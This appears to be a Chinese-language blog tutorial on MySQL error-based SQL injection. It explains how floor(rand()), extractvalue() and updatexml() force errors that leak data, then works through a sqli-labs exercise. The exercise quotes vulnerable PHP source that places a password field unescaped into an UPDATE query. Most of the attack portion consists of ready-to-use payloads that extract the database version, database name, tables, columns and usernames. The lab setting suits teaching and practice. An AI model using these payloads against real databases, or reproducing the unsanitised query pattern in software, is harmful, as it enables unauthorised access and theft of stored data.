1. 程式人生 > 其它 >Mysql報錯注入

Mysql報錯注入

報錯注入原理

floor()

Rand() //隨機函式

Floor() //取整函式

Count() //聚合函式

Group by key //分組語句

select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x

floor(rand(0)*2))x 利用隨機數取整次數報錯

extractvalue()

函式解釋: extractvalue():從⽬標XML中返回包含所查詢值的字串。

EXTRACTVALUE (XML_document, XPath_string);

第⼀個引數:XML_document是String格式,為XML⽂檔物件的名稱,⽂中為Doc

第⼆個引數:XPath_string (Xpath格式的字串)

concat:返回結果為連線引數產⽣的字串。

利用第二個引數返回的值不是Xapth格式報錯

select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

報錯注入常用的函式

1.floor()

  select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);

2.extractvalue()

  select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

3.updatexml()

  select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

報錯練習

使用sqli-labs靶場

檢視原始碼:

$uname = check_input($_POST['uname']);

$passwd = $_POST['passwd'];

@$sql = "SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";

$result = mysql_query($sql); $

row = mysql_fetch_array($result);

if($row) { $row1 = $row['username'];

$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";

mysql_query($update);

原始碼關鍵語句:

$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";

利用passwd製造顯位,所以要加‘號來抵消單引號才能使語句有用

獲取資料庫版本資訊

and extractvalue(1,concat(0x7e,(select @@version),0x7e))#

獲取資料庫名

and extractvalue(1,concat(0x7e,(select database()),0x7e))#

獲取表名

and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e))#

獲取列名

and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),0x7e))#

獲取資料

and extractvalue(1,concat(0x7e,(select * from (select username from users limit 0,1) as a),0x7e))#